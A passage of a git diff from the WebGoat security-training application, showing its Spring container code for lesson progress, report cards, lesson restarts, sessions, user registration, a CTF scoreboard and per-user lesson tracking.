org.owasp.webgoat.container.users.UserTrackerRepository; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +/** + * LessonProgressService class. + * + * @author webgoat + */ +@Controller +@RequiredArgsConstructor +public class LessonProgressService { + + private final UserTrackerRepository userTrackerRepository; + private final WebSession webSession; + + /** + * Endpoint for fetching the complete lesson overview which informs the user about whether all the + * assignments are solved. Used as the last page of the lesson to generate a lesson overview. + * + * @return list of assignments + */ + @RequestMapping(value = "/service/lessonoverview.mvc", produces = "application/json") + @ResponseBody + public List lessonOverview() { + var userTracker = userTrackerRepository.findByUser(webSession.getUserName()); + var currentLesson = webSession.getCurrentLesson(); + + if (currentLesson != null) { + var lessonTracker = userTracker.getLessonTracker(currentLesson); + return lessonTracker.getLessonOverview().entrySet().stream() + .map(entry -> new LessonOverview(entry.getKey(), entry.getValue())) + .toList(); + } + return List.of(); + } + + @AllArgsConstructor + @Getter + // Jackson does not really like returning a map of directly, see + // http://stackoverflow.com/questions/11628698/can-we-make-object-as-key-in-map-when-using-json + // so creating intermediate object is the easiest solution + private static class LessonOverview { + + private Assignment assignment; + private Boolean solved; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/service/LessonTitleService.java b/src/main/java/org/owasp/webgoat/container/service/LessonTitleService.java new file mode 100644 index 000000000..d1c902880 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/service/LessonTitleService.java @@ -0,0 +1,34 @@ +package org.owasp.webgoat.container.service; + +import org.owasp.webgoat.container.lessons.Lesson; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +/** + * LessonTitleService class. + * + * @author dm + * @version $Id: $Id + */ +@Controller +public class LessonTitleService { + + private final WebSession webSession; + + public LessonTitleService(final WebSession webSession) { + this.webSession = webSession; + } + + /** + * Returns the title for the current attack + * + * @return a {@link java.lang.String} object. + */ + @RequestMapping(path = "/service/lessontitle.mvc", produces = "application/html") + public @ResponseBody String showPlan() { + Lesson lesson = webSession.getCurrentLesson(); + return lesson != null ? lesson.getTitle() : ""; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/service/ReportCardService.java b/src/main/java/org/owasp/webgoat/container/service/ReportCardService.java new file mode 100644 index 000000000..a01bce5c1 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/service/ReportCardService.java @@ -0,0 +1,105 @@ +/** + * ************************************************************************************************* + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + */ +package org.owasp.webgoat.container.service; + +import java.util.ArrayList; +import java.util.List; +import lombok.AllArgsConstructor; +import lombok.Getter; +import lombok.Setter; +import org.owasp.webgoat.container.i18n.PluginMessages; +import org.owasp.webgoat.container.lessons.Lesson; +import org.owasp.webgoat.container.session.Course; +import org.owasp.webgoat.container.session.WebSession; +import org.owasp.webgoat.container.users.LessonTracker; +import org.owasp.webgoat.container.users.UserTracker; +import org.owasp.webgoat.container.users.UserTrackerRepository; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +/** + * ReportCardService + * + * @author nbaars + * @version $Id: $Id + */ +@Controller +@AllArgsConstructor +public class ReportCardService { + + private final WebSession webSession; + private final UserTrackerRepository userTrackerRepository; + private final Course course; + private final PluginMessages pluginMessages; + + /** + * Endpoint which generates the report card for the current use to show the stats on the solved + * lessons + */ + @GetMapping(path = "/service/reportcard.mvc", produces = "application/json") + @ResponseBody + public ReportCard reportCard() { + final ReportCard reportCard = new ReportCard(); + reportCard.setTotalNumberOfLessons(course.getTotalOfLessons()); + reportCard.setTotalNumberOfAssignments(course.getTotalOfAssignments()); + + UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName()); + reportCard.setNumberOfAssignmentsSolved(userTracker.numberOfAssignmentsSolved()); + reportCard.setNumberOfLessonsSolved(userTracker.numberOfLessonsSolved()); + for (Lesson lesson : course.getLessons()) { + LessonTracker lessonTracker = userTracker.getLessonTracker(lesson); + final LessonStatistics lessonStatistics = new LessonStatistics(); + lessonStatistics.setName(pluginMessages.getMessage(lesson.getTitle())); + lessonStatistics.setNumberOfAttempts(lessonTracker.getNumberOfAttempts()); + lessonStatistics.setSolved(lessonTracker.isLessonSolved()); + reportCard.lessonStatistics.add(lessonStatistics); + } + return reportCard; + } + + @Getter + @Setter + private final class ReportCard { + + private int totalNumberOfLessons; + private int totalNumberOfAssignments; + private int solvedLessons; + private int numberOfAssignmentsSolved; + private int numberOfLessonsSolved; + private List lessonStatistics = new ArrayList<>(); + } + + @Setter + @Getter + private final class LessonStatistics { + private String name; + private boolean solved; + private int numberOfAttempts; + } +} diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/service/RestartLessonService.java b/src/main/java/org/owasp/webgoat/container/service/RestartLessonService.java similarity index 58% rename from webgoat-container/src/main/java/org/owasp/webgoat/service/RestartLessonService.java rename to src/main/java/org/owasp/webgoat/container/service/RestartLessonService.java index 4f4a68cf8..2f0450d9e 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/service/RestartLessonService.java +++ b/src/main/java/org/owasp/webgoat/container/service/RestartLessonService.java @@ -22,43 +22,47 @@ * projects. */ -package org.owasp.webgoat.service; +package org.owasp.webgoat.container.service; +import java.util.List; +import java.util.function.Function; import lombok.AllArgsConstructor; import lombok.extern.slf4j.Slf4j; import org.flywaydb.core.Flyway; -import org.owasp.webgoat.lessons.Lesson; -import org.owasp.webgoat.session.WebSession; -import org.owasp.webgoat.users.UserTracker; -import org.owasp.webgoat.users.UserTrackerRepository; +import org.owasp.webgoat.container.lessons.Initializeable; +import org.owasp.webgoat.container.lessons.Lesson; +import org.owasp.webgoat.container.session.WebSession; +import org.owasp.webgoat.container.users.UserTracker; +import org.owasp.webgoat.container.users.UserTrackerRepository; import org.springframework.http.HttpStatus; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseStatus; -import java.util.function.Function; - @Controller @AllArgsConstructor @Slf4j public class RestartLessonService { - private final WebSession webSession; - private final UserTrackerRepository userTrackerRepository; - private final Function flywayLessons; + private final WebSession webSession; + private final UserTrackerRepository userTrackerRepository; + private final Function flywayLessons; + private final List lessonsToInitialize; - @RequestMapping(path = "/service/restartlesson.mvc", produces = "text/text") - @ResponseStatus(value = HttpStatus.OK) - public void restartLesson() { - Lesson al = webSession.getCurrentLesson(); - log.debug("Restarting lesson: " + al); + @RequestMapping(path = "/service/restartlesson.mvc", produces = "text/text") + @ResponseStatus(value = HttpStatus.OK) + public void restartLesson() { + Lesson al = webSession.getCurrentLesson(); + log.debug("Restarting lesson: " + al); - UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName()); - userTracker.reset(al); - userTrackerRepository.save(userTracker); + UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName()); + userTracker.reset(al); + userTrackerRepository.save(userTracker); - var flyway = flywayLessons.apply(webSession.getUserName()); - flyway.clean(); - flyway.migrate(); - } + var flyway = flywayLessons.apply(webSession.getUserName()); + flyway.clean(); + flyway.migrate(); + + lessonsToInitialize.forEach(i -> i.initialize(webSession.getUser())); + } } diff --git a/src/main/java/org/owasp/webgoat/container/service/SessionService.java b/src/main/java/org/owasp/webgoat/container/service/SessionService.java new file mode 100644 index 000000000..b1a14d2c2 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/service/SessionService.java @@ -0,0 +1,33 @@ +/* + * To change this license header, choose License Headers in Project Properties. + * To change this template file, choose Tools | Templates + * and open the template in the editor. + */ + +package org.owasp.webgoat.container.service; + +import lombok.RequiredArgsConstructor; +import org.owasp.webgoat.container.i18n.Messages; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +@Controller +@RequiredArgsConstructor +public class SessionService { + + private final WebSession webSession; + private final RestartLessonService restartLessonService; + private final Messages messages; + + @RequestMapping(path = "/service/enable-security.mvc", produces = "application/json") + @ResponseBody + public String applySecurity() { + webSession.toggleSecurity(); + restartLessonService.restartLesson(); + + var msg = webSession.isSecurityEnabled() ? "security.enabled" : "security.disabled"; + return messages.getMessage(msg); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/session/Course.java b/src/main/java/org/owasp/webgoat/container/session/Course.java new file mode 100644 index 000000000..225af4053 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/session/Course.java @@ -0,0 +1,99 @@ +package org.owasp.webgoat.container.session; + +import java.util.List; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; + +/** + * ************************************************************************************************ + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + * @author Bruce Mayhew WebGoat + * @version $Id: $Id + * @since October 28, 2003 + */ +@Slf4j +public class Course { + + private List lessons; + + public Course(List lessons) { + this.lessons = lessons; + } + + /** + * Gets the categories attribute of the Course object + * + * @return The categories value + */ + public List getCategories() { + return lessons.parallelStream().map(Lesson::getCategory).distinct().sorted().toList(); + } + + /** + * Gets the firstLesson attribute of the Course object + * + * @return The firstLesson value + */ + public Lesson getFirstLesson() { + // Category 0 is the admin function. We want the first real category + // to be returned. This is normally the General category and the Http Basics lesson + return getLessons(getCategories().get(0)).get(0); + } + + /** + * Getter for the field lessons. + * + * @return a {@link java.util.List} object. + */ + public List getLessons() { + return this.lessons; + } + + /** + * Getter for the field lessons. + * + * @param category a {@link org.owasp.webgoat.container.lessons.Category} object. + * @return a {@link java.util.List} object. + */ + public List getLessons(Category category) { + return this.lessons.stream().filter(l -> l.getCategory() == category).toList(); + } + + public void setLessons(List lessons) { + this.lessons = lessons; + } + + public int getTotalOfLessons() { + return this.lessons.size(); + } + + public int getTotalOfAssignments() { + return this.lessons.stream() + .reduce(0, (total, lesson) -> lesson.getAssignments().size() + total, Integer::sum); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/session/LabelDebugger.java b/src/main/java/org/owasp/webgoat/container/session/LabelDebugger.java new file mode 100644 index 000000000..34e7b7111 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/session/LabelDebugger.java @@ -0,0 +1,42 @@ +package org.owasp.webgoat.container.session; + +import java.io.Serializable; + +/** + * LabelDebugger class. + * + * @author dm + * @version $Id: $Id + */ +public class LabelDebugger implements Serializable { + + private boolean enabled = false; + + /** + * isEnabled. + * + * @return a boolean. + */ + public boolean isEnabled() { + return enabled; + } + + /** Enables label debugging */ + public void enable() { + this.enabled = true; + } + + /** Disables label debugging */ + public void disable() { + this.enabled = false; + } + + /** + * Sets the status to enabled + * + * @param enabled {@link org.owasp.webgoat.container.session.LabelDebugger} object + */ + public void setEnabled(boolean enabled) { + this.enabled = enabled; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/session/UserSessionData.java b/src/main/java/org/owasp/webgoat/container/session/UserSessionData.java new file mode 100644 index 000000000..be55c3971 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/session/UserSessionData.java @@ -0,0 +1,32 @@ +package org.owasp.webgoat.container.session; + +import java.util.HashMap; + +/** Created by jason on 1/4/17. */ +public class UserSessionData { + + private HashMap userSessionData = new HashMap<>(); + + public UserSessionData() {} + + public UserSessionData(String key, String value) { + setValue(key, value); + } + + // GETTERS & SETTERS + public Object getValue(String key) { + if (!userSessionData.containsKey(key)) { + return null; + } + // else + return userSessionData.get(key); + } + + public void setValue(String key, Object value) { + if (userSessionData.containsKey(key)) { + userSessionData.replace(key, value); + } else { + userSessionData.put(key, value); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/container/session/WebSession.java b/src/main/java/org/owasp/webgoat/container/session/WebSession.java new file mode 100644 index 000000000..22b339db6 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/session/WebSession.java @@ -0,0 +1,90 @@ +package org.owasp.webgoat.container.session; + +import java.io.Serializable; +import org.owasp.webgoat.container.lessons.Lesson; +import org.owasp.webgoat.container.users.WebGoatUser; +import org.springframework.security.core.context.SecurityContextHolder; + +/** + * ************************************************************************************************* + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + * @author Jeff Williams Aspect Security + * @author Bruce Mayhew WebGoat + * @version $Id: $Id + * @since October 28, 2003 + */ +public class WebSession implements Serializable { + + private static final long serialVersionUID = -4270066103101711560L; + private final WebGoatUser currentUser; + private transient Lesson currentLesson; + private boolean securityEnabled; + + public WebSession() { + this.currentUser = + (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal(); + } + + /** + * Setter for the field currentScreen. + * + * @param lesson current lesson + */ + public void setCurrentLesson(Lesson lesson) { + this.currentLesson = lesson; + } + + /** + * getCurrentLesson. + * + * @return a {@link Lesson} object. + */ + public Lesson getCurrentLesson() { + return this.currentLesson; + } + + /** + * Gets the userName attribute of the WebSession object + * + * @return The userName value + */ + public String getUserName() { + return currentUser.getUsername(); + } + + public WebGoatUser getUser() { + return currentUser; + } + + public void toggleSecurity() { + this.securityEnabled = !this.securityEnabled; + } + + public boolean isSecurityEnabled() { + return securityEnabled; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/users/LessonTracker.java b/src/main/java/org/owasp/webgoat/container/users/LessonTracker.java new file mode 100644 index 000000000..2cc0c58af --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/users/LessonTracker.java @@ -0,0 +1,109 @@ +package org.owasp.webgoat.container.users; + +import java.util.*; +import java.util.stream.Collectors; +import javax.persistence.*; +import lombok.Getter; +import org.owasp.webgoat.container.lessons.Assignment; +import org.owasp.webgoat.container.lessons.Lesson; + +/** + * ************************************************************************************************ + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + * @author Bruce Mayhew WebGoat + * @version $Id: $Id + * @since October 29, 2003 + */ +@Entity +public class LessonTracker { + + @Id + @GeneratedValue(strategy = GenerationType.AUTO) + private Long id; + + @Getter private String lessonName; + + @OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER) + private final Set solvedAssignments = new HashSet<>(); + + @OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER) + private final Set allAssignments = new HashSet<>(); + + @Getter private int numberOfAttempts = 0; + @Version private Integer version; + + private LessonTracker() { + // JPA + } + + public LessonTracker(Lesson lesson) { + lessonName = lesson.getId(); + allAssignments.addAll(lesson.getAssignments() == null ? List.of() : lesson.getAssignments()); + } + + public Optional getAssignment(String name) { + return allAssignments.stream().filter(a -> a.getName().equals(name)).findFirst(); + } + + /** + * Mark an assignment as solved + * + * @param solvedAssignment the assignment which the user solved + */ + public void assignmentSolved(String solvedAssignment) { + getAssignment(solvedAssignment).ifPresent(solvedAssignments::add); + } + + /** + * @return did they user solved all solvedAssignments for the lesson? + */ + public boolean isLessonSolved() { + return allAssignments.size() == solvedAssignments.size(); + } + + /** Increase the number attempts to solve the lesson */ + public void incrementAttempts() { + numberOfAttempts++; + } + + /** Reset the tracker. We do not reset the number of attempts here! */ + void reset() { + solvedAssignments.clear(); + } + + /** + * @return list containing all the assignments solved or not + */ + public Map getLessonOverview() { + List notSolved = + allAssignments.stream().filter(i -> !solvedAssignments.contains(i)).toList(); + Map overview = + notSolved.stream().collect(Collectors.toMap(a -> a, b -> false)); + overview.putAll(solvedAssignments.stream().collect(Collectors.toMap(a -> a, b -> true))); + return overview; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/users/RegistrationController.java b/src/main/java/org/owasp/webgoat/container/users/RegistrationController.java new file mode 100644 index 000000000..4dc628f86 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/users/RegistrationController.java @@ -0,0 +1,49 @@ +package org.owasp.webgoat.container.users; + +import javax.servlet.ServletException; +import javax.servlet.http.HttpServletRequest; +import javax.validation.Valid; +import lombok.AllArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.springframework.security.authentication.AuthenticationManager; +import org.springframework.stereotype.Controller; +import org.springframework.validation.BindingResult; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ModelAttribute; +import org.springframework.web.bind.annotation.PostMapping; + +/** + * @author nbaars + * @since 3/19/17. + */ +@Controller +@AllArgsConstructor +@Slf4j +public class RegistrationController { + + private UserValidator userValidator; + private UserService userService; + private AuthenticationManager authenticationManager; + + @GetMapping("/registration") + public String showForm(UserForm userForm) { + return "registration"; + } + + @PostMapping("/register.mvc") + public String registration( + @ModelAttribute("userForm") @Valid UserForm userForm, + BindingResult bindingResult, + HttpServletRequest request) + throws ServletException { + userValidator.validate(userForm, bindingResult); + + if (bindingResult.hasErrors()) { + return "registration"; + } + userService.addUser(userForm.getUsername(), userForm.getPassword()); + request.login(userForm.getUsername(), userForm.getPassword()); + + return "redirect:/attack"; + } +} diff --git a/src/main/java/org/owasp/webgoat/container/users/Scoreboard.java b/src/main/java/org/owasp/webgoat/container/users/Scoreboard.java new file mode 100644 index 000000000..2f5ddefe2 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/users/Scoreboard.java @@ -0,0 +1,83 @@ +package org.owasp.webgoat.container.users; + +import java.util.ArrayList; +import java.util.List; +import java.util.Optional; +import lombok.AllArgsConstructor; +import lombok.Getter; +import org.owasp.webgoat.container.i18n.PluginMessages; +import org.owasp.webgoat.container.lessons.Lesson; +import org.owasp.webgoat.container.session.Course; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * Temp endpoint just for the CTF. + * + * @author nbaars + * @since 3/23/17. + */ +@RestController +@AllArgsConstructor +public class Scoreboard { + + private final UserTrackerRepository userTrackerRepository; + private final UserRepository userRepository; + private final Course course; + private final PluginMessages pluginMessages; + + @AllArgsConstructor + @Getter + private class Ranking { + private String username; + private List flagsCaptured; + } + + @GetMapping("/scoreboard-data") + public List getRankings() { + List allUsers = userRepository.findAll(); + List rankings = new ArrayList<>(); + for (WebGoatUser user : allUsers) { + if (user.getUsername().startsWith("csrf-")) { + // the csrf- assignment specific users do not need to be in the overview + continue; + } + UserTracker userTracker = userTrackerRepository.findByUser(user.getUsername()); + rankings.add(new Ranking(user.getUsername(), challengesSolved(userTracker))); + } + /* sort on number of captured flags to present an ordered ranking */ + rankings.sort((o1, o2) -> o2.getFlagsCaptured().size() - o1.getFlagsCaptured().size()); + return rankings; + } + + private List challengesSolved(UserTracker userTracker) { + List challenges = + List.of( + "Challenge1", + "Challenge2", + "Challenge3", + "Challenge4", + "Challenge5", + "Challenge6", + "Challenge7", + "Challenge8", + "Challenge9"); + return challenges.stream() + .map(userTracker::getLessonTracker) + .flatMap(Optional::stream) + .filter(LessonTracker::isLessonSolved) + .map(LessonTracker::getLessonName) + .map(this::toLessonTitle) + .toList(); + } + + private String toLessonTitle(String id) { + String titleKey = + course.getLessons().stream() + .filter(l -> l.getId().equals(id)) + .findFirst() + .map(Lesson::getTitle) + .orElse("No title"); + return pluginMessages.getMessage(titleKey, titleKey); + } +} diff --git a/src/main/java/org/owasp/webgoat/container/users/UserForm.java b/src/main/java/org/owasp/webgoat/container/users/UserForm.java new file mode 100644 index 000000000..416bba094 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/users/UserForm.java @@ -0,0 +1,31 @@ +package org.owasp.webgoat.container.users; + +import javax.validation.constraints.NotNull; +import javax.validation.constraints.Pattern; +import javax.validation.constraints.Size; +import lombok.Getter; +import lombok.Setter; + +/** + * @author nbaars + * @since 3/19/17. + */ +@Getter +@Setter +public class UserForm { + + @NotNull + @Size(min = 6, max = 45) + @Pattern(regexp = "[a-z0-9-]*", message = "can only contain lowercase letters, digits, and -") + private String username; + + @NotNull + @Size(min = 6, max = 10) + private String password; + + @NotNull + @Size(min = 6, max = 10) + private String matchingPassword; + + @NotNull private String agree; +} diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/users/UserRepository.java b/src/main/java/org/owasp/webgoat/container/users/UserRepository.java similarity index 56% rename from webgoat-container/src/main/java/org/owasp/webgoat/users/UserRepository.java rename to src/main/java/org/owasp/webgoat/container/users/UserRepository.java index 96472a963..86d9b2cd4 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/users/UserRepository.java +++ b/src/main/java/org/owasp/webgoat/container/users/UserRepository.java @@ -1,8 +1,7 @@ -package org.owasp.webgoat.users; - -import org.springframework.data.jpa.repository.JpaRepository; +package org.owasp.webgoat.container.users; import java.util.List; +import org.springframework.data.jpa.repository.JpaRepository; /** * @author nbaars @@ -10,10 +9,9 @@ import java.util.List; */ public interface UserRepository extends JpaRepository { - WebGoatUser findByUsername(String username); + WebGoatUser findByUsername(String username); - List findAll(); - - boolean existsByUsername(String username); + List findAll(); + boolean existsByUsername(String username); } diff --git a/src/main/java/org/owasp/webgoat/container/users/UserService.java b/src/main/java/org/owasp/webgoat/container/users/UserService.java new file mode 100644 index 000000000..e12668f00 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/users/UserService.java @@ -0,0 +1,59 @@ +package org.owasp.webgoat.container.users; + +import java.util.List; +import java.util.function.Function; +import lombok.AllArgsConstructor; +import org.flywaydb.core.Flyway; +import org.owasp.webgoat.container.lessons.Initializeable; +import org.springframework.jdbc.core.JdbcTemplate; +import org.springframework.security.core.userdetails.UserDetailsService; +import org.springframework.security.core.userdetails.UsernameNotFoundException; +import org.springframework.stereotype.Service; + +/** + * @author nbaars + * @since 3/19/17. + */ +@Service +@AllArgsConstructor +public class UserService implements UserDetailsService { + + private final UserRepository userRepository; + private final UserTrackerRepository userTrackerRepository; + private final JdbcTemplate jdbcTemplate; + private final Function flywayLessons; + private final List lessonInitializables; + + @Override + public WebGoatUser loadUserByUsername(String username) throws UsernameNotFoundException { + WebGoatUser webGoatUser = userRepository.findByUsername(username); + if (webGoatUser == null) { + throw new UsernameNotFoundException("User not found"); + } else { + webGoatUser.createUser(); + lessonInitializables.forEach(l -> l.initialize(webGoatUser)); + } + return webGoatUser; + } + + public void addUser(String username, String password) { + // get user if there exists one by the name + var userAlreadyExists = userRepository.existsByUsername(username); + var webGoatUser = userRepository.save(new WebGoatUser(username, password)); + + if (!userAlreadyExists) { + userTrackerRepository.save( + new UserTracker(username)); // if user previously existed it will not get another tracker + createLessonsForUser(webGoatUser); + } + } + + private void createLessonsForUser(WebGoatUser webGoatUser) { + jdbcTemplate.execute("CREATE SCHEMA \"" + webGoatUser.getUsername() + "\" authorization dba"); + flywayLessons.apply(webGoatUser.getUsername()).migrate(); + } + + public List getAllUsers() { + return userRepository.findAll(); + } +} diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/users/UserSession.java b/src/main/java/org/owasp/webgoat/container/users/UserSession.java similarity index 74% rename from webgoat-container/src/main/java/org/owasp/webgoat/users/UserSession.java rename to src/main/java/org/owasp/webgoat/container/users/UserSession.java index 5e00333b4..5bf29a7f0 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/users/UserSession.java +++ b/src/main/java/org/owasp/webgoat/container/users/UserSession.java @@ -1,4 +1,4 @@ -package org.owasp.webgoat.users; +package org.owasp.webgoat.container.users; import lombok.AccessLevel; import lombok.AllArgsConstructor; @@ -15,7 +15,6 @@ import org.springframework.data.annotation.Id; @NoArgsConstructor(access = AccessLevel.PROTECTED) public class UserSession { - private WebGoatUser webGoatUser; - @Id - private String sessionId; + private WebGoatUser webGoatUser; + @Id private String sessionId; } diff --git a/src/main/java/org/owasp/webgoat/container/users/UserTracker.java b/src/main/java/org/owasp/webgoat/container/users/UserTracker.java new file mode 100644 index 000000000..86bdf4c14 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/container/users/UserTracker.java @@ -0,0 +1,127 @@ +package org.owasp.webgoat.container.users; + +import java.util.HashSet; +import java.util.Map; +import java.util.Optional; +import java.util.Set; +import java.util.stream.Collectors; +import javax.persistence.*; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.lessons.Assignment; +import org.owasp.webgoat.container.lessons.Lesson; + +/** + * ************************************************************************************************ + * + *

+ * + *

This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + * @author Bruce Mayhew WebGoat + * @version $Id: $Id + * @since October 29, 2003 + */ +@Slf4j +@Entity +public class UserTracker { + + @Id + @GeneratedValue(strategy = GenerationType.AUTO) + private Long id; + + @Column(name = "username") + private String user; + + @OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER) + private Set lessonTrackers = new HashSet<>(); + + private UserTracker() {} + + public UserTracker(final String user) { + this.user = user; + } + + /** + * Returns an existing lesson tracker or create a new one based on the lesson + * + * @param lesson the lesson + * @return a lesson tracker created if not already present + */ + public LessonTracker getLessonTracker(Lesson lesson) { + Optional lessonTracker = + lessonTrackers.stream().filter(l -> l.getLessonName().equals(lesson.getId())).findFirst(); + if (!lessonTracker.isPresent()) { + LessonTracker newLessonTracker = new LessonTracker(lesson); + lessonTrackers.add(newLessonTracker); + return newLessonTracker; + } else { + return lessonTracker.get(); + } + } + + /** + * Query method for finding a specific lesson tracker based on id + * + * @param id the id of the lesson + * @return optional due to the fact we can only create a lesson tracker based on a lesson + */ + public Optional getLessonTracker(String id) { + return lessonTrackers.stream().filter(l -> l.getLessonName().equals(id)).findFirst(); + } + + public void assignmentSolved(Lesson lesson, String assignmentName) { + LessonTracker lessonTracker = getLessonTracker(lesson); + lessonTracker.incrementAttempts(); + lessonTracker.assignmentSolved(assignmentName); + } + + public void assignmentFailed(Lesson lesson) { + LessonTracker lessonTracker = getLessonTracker(lesson); + lessonTracker.incrementAttempts(); + } + + public void reset(Lesson al) { + LessonTracker lessonTracker = getLessonTracker(al); + lessonTracker.reset(); + } + + public int numberOfLessonsSolved() { + int numberOfLessonsSolved = 0; + for (LessonTracker lessonTracker : lessonTrackers) { + if (lessonTracker.isLessonSolved()) { + numberOfLessonsSolved = numberOfLessonsSolved + 1; + } + } + return numberOfLessonsSolved; + } + + public int numberOfAssignmentsSolved() { + int numberOfAssignmentsSolved = 0; + for (LessonTracker lessonTracker : lessonTrackers) { + Map lessonOverview = lessonTracker.getLessonOverview(); + numberOfAssignmentsSolved = + lessonOverview.values().stream().filter(b -> 